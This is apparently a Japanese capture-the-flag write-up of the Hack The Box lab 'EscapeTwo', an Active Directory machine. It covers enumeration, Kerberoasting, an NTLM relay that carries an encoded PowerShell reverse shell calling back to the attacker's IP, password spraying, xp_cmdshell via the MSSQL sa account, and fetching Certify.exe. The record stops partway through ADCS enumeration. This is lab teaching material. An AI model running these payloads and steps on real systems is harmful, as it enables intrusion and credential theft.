初めに

本記事は Hack The Box(以下リンク参照) の「EscapeTwo」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

初期探索

ポートスキャン

┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.129.118.168 --top
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.118.168:53
Open 10.129.118.168:88
Open 10.129.118.168:135
Open 10.129.118.168:139
Open 10.129.118.168:389
Open 10.129.118.168:445
Open 10.129.118.168:464
Open 10.129.118.168:593
Open 10.129.118.168:636
Open 10.129.118.168:1433
Open 10.129.118.168:3269
Open 10.129.118.168:3268
Open 10.129.118.168:5985
Open 10.129.118.168:9389
Open 10.129.118.168:47001
Open 10.129.118.168:49665
Open 10.129.118.168:49666
Open 10.129.118.168:49667
Open 10.129.118.168:49686
Open 10.129.118.168:49664
Open 10.129.118.168:49685
Open 10.129.118.168:49689
Open 10.129.118.168:49702
Open 10.129.118.168:49718
Open 10.129.118.168:49737
Open 10.129.118.168:59538
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-11 22:25 EST
Initiating Ping Scan at 22:25
Scanning 10.129.118.168 [4 ports]
Completed Ping Scan at 22:25, 0.32s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 22:25
Scanning sequel.htb (10.129.118.168) [26 ports]
Discovered open port 53/tcp on 10.129.118.168
Discovered open port 135/tcp on 10.129.118.168
Discovered open port 49686/tcp on 10.129.118.168
Discovered open port 5985/tcp on 10.129.118.168
Discovered open port 139/tcp on 10.129.118.168
Discovered open port 445/tcp on 10.129.118.168
Discovered open port 47001/tcp on 10.129.118.168
Discovered open port 9389/tcp on 10.129.118.168
Discovered open port 88/tcp on 10.129.118.168
Discovered open port 49689/tcp on 10.129.118.168
Discovered open port 593/tcp on 10.129.118.168
Discovered open port 49702/tcp on 10.129.118.168
Discovered open port 49737/tcp on 10.129.118.168
Discovered open port 389/tcp on 10.129.118.168
Discovered open port 49666/tcp on 10.129.118.168
Discovered open port 636/tcp on 10.129.118.168
Discovered open port 3268/tcp on 10.129.118.168
Discovered open port 49718/tcp on 10.129.118.168
Discovered open port 59538/tcp on 10.129.118.168
Discovered open port 49667/tcp on 10.129.118.168
Discovered open port 49685/tcp on 10.129.118.168
Discovered open port 464/tcp on 10.129.118.168
Discovered open port 49665/tcp on 10.129.118.168
Discovered open port 49664/tcp on 10.129.118.168
Discovered open port 1433/tcp on 10.129.118.168
Discovered open port 3269/tcp on 10.129.118.168
Completed SYN Stealth Scan at 22:25, 0.57s elapsed (26 total ports)
Nmap scan report for sequel.htb (10.129.118.168)
Host is up, received echo-reply ttl 127 (0.27s latency).
Scanned at 2025-01-11 22:25:30 EST for 1s

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
1433/tcp  open  ms-sql-s         syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
47001/tcp open  winrm            syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49665/tcp open  unknown          syn-ack ttl 127
49666/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49685/tcp open  unknown          syn-ack ttl 127
49686/tcp open  unknown          syn-ack ttl 127
49689/tcp open  unknown          syn-ack ttl 127
49702/tcp open  unknown          syn-ack ttl 127
49718/tcp open  unknown          syn-ack ttl 127
49737/tcp open  unknown          syn-ack ttl 127
59538/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds
           Raw packets sent: 30 (1.296KB) | Rcvd: 34 (1.692KB)

WindowsのPortが開いている。HTTP系のブラウザを扱うサービスはなさそう。AD環境ぽい。

ドメイン情報収集

ldapのスクリプトも回してさっとAD環境の情報を取得する。

┌──(root㉿kali)-[~/work]
└─# nmap -p 389 -n -Pn --script ldap-rootdse 10.129.118.168
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-11 22:23 EST
Nmap scan report for 10.129.118.168
Host is up (0.26s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse: 
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=sequel,DC=htb
|       ldapServiceName: sequel.htb:dc01$@SEQUEL.HTB
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=sequel,DC=htb
|       serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=sequel,DC=htb
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=sequel,DC=htb
|       namingContexts: DC=sequel,DC=htb
|       namingContexts: CN=Configuration,DC=sequel,DC=htb
|       namingContexts: CN=Schema,CN=Configuration,DC=sequel,DC=htb
|       namingContexts: DC=DomainDnsZones,DC=sequel,DC=htb
|       namingContexts: DC=ForestDnsZones,DC=sequel,DC=htb
|       isSynchronized: TRUE
|       highestCommittedUSN: 221917
|       dsServiceName: CN=NTDS Settings,CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=sequel,DC=htb
|       dnsHostName: DC01.sequel.htb
|       defaultNamingContext: DC=sequel,DC=htb
|       currentTime: 20250112032308.0Z
|_      configurationNamingContext: CN=Configuration,DC=sequel,DC=htb
Service Info: Host: DC01; OS: Windows

Nmap done: 1 IP address (1 host up) scanned in 1.53 seconds

sequel.htbのドメイン情報を掴むことが出来た。この情報を/etc/hostsに以下のように登録しておく。

10.129.118.168    sequel.htb

enum4linuxも回しておく

┌──(root㉿kali)-[~/work]
└─# enum4linux 10.129.118.168
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Jan 11 22:24:48 2025

 =========================================( Target Information )=========================================

Target ........... 10.129.118.168
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 10.129.118.168 )===========================


[E] Can't find workgroup/domain



 ===============================( Nbtstat Information for 10.129.118.168 )===============================

Looking up status of 10.129.118.168
No reply from 10.129.118.168

 ==================================( Session Check on 10.129.118.168 )==================================


[+] Server 10.129.118.168 allows sessions using username '', password ''


 ===============================( Getting domain SID for 10.129.118.168 )===============================

do_cmd: Could not initialise lsarpc. Error was NT_STATUS_ACCESS_DENIED

[+] Can't determine if host is part of domain or part of a workgroup


 ==================================( OS information on 10.129.118.168 )==================================


[E] Can't get OS info with smbclient


[+] Got OS info for 10.129.118.168 from srvinfo: 
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED


 ======================================( Users on 10.129.118.168 )======================================


[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED



[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED


 ================================( Share Enumeration on 10.129.118.168 )================================

do_connect: Connection to 10.129.118.168 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

	Sharename       Type      Comment
	---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.129.118.168


 ===========================( Password Policy Information for 10.129.118.168 )===========================


[E] Unexpected error from polenum:



[+] Attaching to 10.129.118.168 using a NULL share

[+] Trying protocol 139/SMB...

	[!] Protocol failed: Cannot request session (Called Name:10.129.118.168)

[+] Trying protocol 445/SMB...

	[!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.



[E] Failed to get password policy with rpcclient



 ======================================( Groups on 10.129.118.168 )======================================


[+] Getting builtin groups:


[+]  Getting builtin group memberships:


[+]  Getting local groups:


[+]  Getting local group memberships:


[+]  Getting domain groups:


[+]  Getting domain group memberships:


 =================( Users on 10.129.118.168 via RID cycling (RIDS: 500-550,1000-1050) )=================


[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.


 ==============================( Getting printer info for 10.129.118.168 )==============================

do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED


enum4linux complete on Sat Jan 11 22:25:50 2025

特段いい情報はない。

HTBの新たな傾向

この前のAdministratorのBoxのようにクレデンシャル情報が渡されるか確認してみた。

ありましたクレデンシャル情報。最近の傾向はこうなのかな？

SMB enum

クレデンシャルが通るかも含めてSMBを掘り下げておく。

Accounting Departmentが気になるのでこの階層に入ってみる。

┌──(root㉿kali)-[~/work]
└─# smbclient '//10.129.118.168/Accounting Department' -U rose --password='KxEPkKe6R8su'
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Jun  9 06:52:21 2024
  ..                                  D        0  Sun Jun  9 06:52:21 2024
  accounting_2024.xlsx                A    10217  Sun Jun  9 06:14:49 2024
  accounts.xlsx                       A     6780  Sun Jun  9 06:52:07 2024

面白そうなものがあるのでローカルに落としておく。

smb: \> mask ""
smb: \> prompt OFF
smb: \> mget *
getting file \accounting_2024.xlsx of size 10217 as accounting_2024.xlsx (9.4 KiloBytes/sec) (average 9.4 KiloBytes/sec)
getting file \accounts.xlsx of size 6780 as accounts.xlsx (6.3 KiloBytes/sec) (average 7.8 KiloBytes/sec)
smb: \>

中身を確認してみたがなんか文字化けしていてよくわからなかった。
ちょっとこのファイルは置いておいてもうちょっと探っていく。

BloodHound

いつものRustHoundさんよろしくお願いいたします。

┌──(root㉿kali)-[~/work]
└─# bloodhound-python -c all -u rose -p 'KxEPkKe6R8su' -d sequel.htb  -ns 10.129.118.168 --zip
INFO: Found AD domain: sequel.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.sequel.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.sequel.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.sequel.htb
INFO: Found 10 users
INFO: Found 59 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.sequel.htb
WARNING: Connection timed out while resolving sids
INFO: Done in 00M 51S
INFO: Compressing output into 20250111224153_bloodhound.zip

ユーザを列挙しておく。

MSSQLのPortが開いていたのでsql_svcあたり気になりますね。あとca_svcがあるのでADCSあたりあるのかな？とメタ読みします。

イニシャルアクセス

kerberoasting

とりあえずSPNあるユーザ探してみます。
以下のクエリをBloodhoundに叩き込みます。

MATCH (u:User) WHERE u.hasspn=true RETURN u

気になってたアカウントたちですね。kerberoastingします。

┌──(root㉿kali)-[~/work]
└─# impacket-GetUserSPNs -dc-ip 10.129.118.168 sequel.htb/rose:KxEPkKe6R8su -request -save -outputfile tgs.hash
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

ServicePrincipalName     Name     MemberOf                                              PasswordLastSet             LastLogon                   Delegation 
-----------------------  -------  ----------------------------------------------------  --------------------------  --------------------------  ----------
sequel.htb/sql_svc.DC01  sql_svc  CN=SQLRUserGroupSQLEXPRESS,CN=Users,DC=sequel,DC=htb  2024-06-09 03:58:42.689521  2025-01-11 18:26:23.923443             
sequel.htb/ca_svc.DC01   ca_svc   CN=Cert Publishers,CN=Users,DC=sequel,DC=htb          2025-01-11 22:42:28.837683  2024-06-09 13:14:42.333365

hashcatで解析します。

┌──(root㉿kali)-[~/work]
└─# hashcat -m 13100 -a 0 tgs.hash /usr/share/wordlists/rockyou.txt -r /usr/share/john/rules/best64.rule --force

ハッシュ解析できませんでした。この方法ではなさそう。

NTLM Relay

roseのaccountでMSSQLに入ります。

┌──(root㉿kali)-[~/work]
└─# impacket-mssqlclient  sequel.htb/rose:KxEPkKe6R8su@10.129.118.168  -windows-auth
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (SEQUEL\rose  guest@master)> enable_xp_cmdshell
ERROR: Line 1: You do not have permission to run the RECONFIGURE statement.

xp_cmdshelを使う権限はなさそうです。
xp_dirtreeを使ってNTLMv2のハッシュを取得し、リレーさせる方向で試してみます。（ハッシュ解析は失敗したので。）
responderを起動して待ち受けます。

以下コマンドを打ち込みます。

SQL (SEQUEL\rose  guest@master)> xp_dirtree \\10.10.14.26\test

来ました。
これをresponderではなくimpacket-ntlmrelayxで待ち受けます。-cでcmdを打ち込めないか試してみます。（いや流石にコマンドSMB経由で打てる権限ないとは思うけど。）
powershellのリバースシェルを以下サイトで作成します。

リバースシェルの待ち受けも用意します。

┌──(root㉿kali)-[~/work]
└─# nc -lnvp 4444

さて、リレー本番です。

┌──(root㉿kali)-[~/work]
└─# impacket-ntlmrelayx --no-http-server -smb2support -t 10.129.118.168 -c 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgA2ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections
[*] SMBD-Thread-4 (process_request_thread): Received connection from 10.129.118.168, attacking target smb://10.129.118.168
[-] Signing is required, attack won't work unless using -remove-target / --remove-mic
[-] Authenticating against smb://10.129.118.168 as SEQUEL/SQL_SVC FAILED
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.129.118.168, attacking target smb://10.129.118.168
[-] Signing is required, attack won't work unless using -remove-target / --remove-mic
[-] Authenticating against smb://10.129.118.168 as SEQUEL/SQL_SVC FAILED
[*] SMBD-Thread-6 (process_request_thread): Received connection from 10.129.118.168, attacking target smb://10.129.118.168
[-] Signing is required, attack won't work unless using -remove-target / --remove-mic
[-] Authenticating against smb://10.129.118.168 as SEQUEL/SQL_SVC FAILED

認証失敗してる。これだとコマンドじゃなくて-socksでリレーからトンネル開けるやり方も出来なさそうです。

ADCS

ADCSの方に何か脆弱性がないかを調べていきます。とその前にADCSがあるかどうかを調べます。

┌──(root㉿kali)-[~/work]
└─# nxc ldap 10.129.118.168 -u rose -p 'KxEPkKe6R8su' -M adcs
SMB         10.129.118.168  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
LDAP        10.129.118.168  389    DC01             [+] sequel.htb\rose:KxEPkKe6R8su 
ADCS        10.129.118.168  389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        10.129.118.168  389    DC01             Found PKI Enrollment Server: DC01.sequel.htb
ADCS        10.129.118.168  389    DC01             Found CN: sequel-DC01-CA

ありそう。
脆弱なテンプレート探しに、以下のCertipy-Dockerを利用します。

┌──(root㉿kali)-[~/work]
└─# git clone https://github.com/secure-77/Certipy-Docker

┌──(root㉿kali)-[~/work]
└─# cd Certipy-Docker 
                                                                                                                                                             
┌──(root㉿kali)-[~/work/Certipy-Docker]
└─# docker build -t certipy:latest .

これでcertipy findが使えると思うので実行します。

┌──(root㉿kali)-[~/work/Certipy-Docker]
└─# docker run -it -v $(pwd):/tmp certipy:latest certipy find -dc-ip 10.129.118.168 -u "rose@sequel.htb" -p 'KxEPkKe6R8su' -vulnerable -debug -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Authenticating to LDAP server
[+] Bound to ldaps://10.129.118.168:636 - ssl
[+] Default path: DC=sequel,DC=htb
[+] Configuration path: CN=Configuration,DC=sequel,DC=htb
[+] Adding Domain Computers to list of current user's SIDs
[+] List of current user's SIDs:
     SEQUEL.HTB\Authenticated Users (SEQUEL.HTB-S-1-5-11)
     SEQUEL.HTB\Everyone (SEQUEL.HTB-S-1-1-0)
     SEQUEL.HTB\Rose Fox (S-1-5-21-548670397-972687484-3496335370-1601)
     SEQUEL.HTB\Domain Computers (S-1-5-21-548670397-972687484-3496335370-515)
     SEQUEL.HTB\Domain Users (S-1-5-21-548670397-972687484-3496335370-513)
     SEQUEL.HTB\Users (SEQUEL.HTB-S-1-5-32-545)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[+] Trying to resolve 'DC01.sequel.htb' at '10.129.118.168'
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[+] Trying to get DCOM connection for: 10.129.118.168
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[+] Connected to remote registry at 'DC01.sequel.htb' (10.129.118.168)
[*] Got CA configuration for 'sequel-DC01-CA'
[+] Resolved 'DC01.sequel.htb' from cache: 10.129.118.168
[+] Connecting to 10.129.118.168:80
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : sequel-DC01-CA
    DNS Name                            : DC01.sequel.htb
    Certificate Subject                 : CN=sequel-DC01-CA, DC=sequel, DC=htb
    Certificate Serial Number           : 152DBD2D8E9C079742C0F3BFF2A211D3
    Certificate Validity Start          : 2024-06-08 16:50:40+00:00
    Certificate Validity End            : 2124-06-08 17:00:40+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : SEQUEL.HTB\Administrators
      Access Rights
        ManageCertificates              : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        ManageCa                        : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        Enroll                          : SEQUEL.HTB\Authenticated Users
Certificate Templates                   : [!] Could not find any certificate templates

見つかりませんでした。

accounts.xlsx

パッと思いつく方法がなくなったので先ほどのファイルを詳細調査します。
xlsxはunzipを使ってxmlの中身を解凍できるのでじっくり中身を調べます。

調査すると以下のxmlファイルが見つかります。

何やらパスワードが書いてそうです。このパスワードをスプレーしたいと思います。

Password Spray

以下のようにUserファイルとPasswordファイルを作成します。

users

SQL_SVC
CA_SVC
OSCAR
MICHAEL
RYAN

pass

0fwz7Q4mSpurIt99
86LxLBMgEWaKUnBG
Md9Wlq1E5bZnVDVo
MSSQLP@ssw0rd!

nxcでスプレーします。

OSCARにヒットしました。ただこれはラビットホールでOSCARを得ても攻撃パスは特段増えてません。

MSSQL

先ほどのxmlにはsaアカウントがあったことを思い出します。windows認証じゃなく、デフォのSQL Server認証で突破できるかと考えられます。

┌──(root㉿kali)-[~/…/nomal/xl/worksheets/_rels]
└─# impacket-mssqlclient  sequel.htb/sa:'MSSQLP@ssw0rd!'@10.129.118.168              
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (sa  dbo@master)> enable_xp_cmdshell
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa  dbo@master)> EXECUTE xp_cmdshell 'whoami';
output           
--------------   
sequel\sql_svc   

NULL             

SQL (sa  dbo@master)>

突破できました。また、xp_cmdshellも使えそうです。

Reverse Shell

とりあえずさっきのようにpowershellでリバースシェルを張ります。

来ました。ただこの段階ではまだユーザフラグゲット出来てません。

横展開

情報列挙

ADCS

ADCSがあるのでどっかで引っかかるはずとメタ読みし、sql_svcで見える情報を探ります。
Certify.exeを転送して確認してみます。

┌──(root㉿kali)-[~/work]
└─# python -m http.server 80

ターゲット側でiwr打ちます。

PS C:\Windows\temp> iwr -Uri http://10.10.14.26/Certify.exe -Outfile C:\Windows\temp\Certify.exe

転送出来たら、確認します。

PS C:\Windows\temp> .\Certify.exe find /vulnerable
.\Certify.exe find /vulnerable

   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.0.0                               

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=sequel,DC=htb'

[*] Listing info about the Enterprise CA 'sequel-DC01-CA'

    Enterprise CA Name            : sequel-DC01-CA
    DNS Hostname                  : DC01.sequel.htb
    FullName                      : DC01.sequel.htb\sequel-DC01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=sequel-DC01-CA, DC=sequel, DC=htb
    Cert Thumbprint               : 4C4A178BF30A37D8E21D5C5CE634C8552E5769F9
    Cert Serial                   : 152DBD2D8E9C079742C0F3BFF2A211D3
    Cert Start Date               : 6/8/2024 9:50:40 AM
    Cert End Date                 : 6/8/2124 10:00:40 AM
    Cert Chain                    : CN=sequel-DC01-CA,DC=sequel,DC=htb
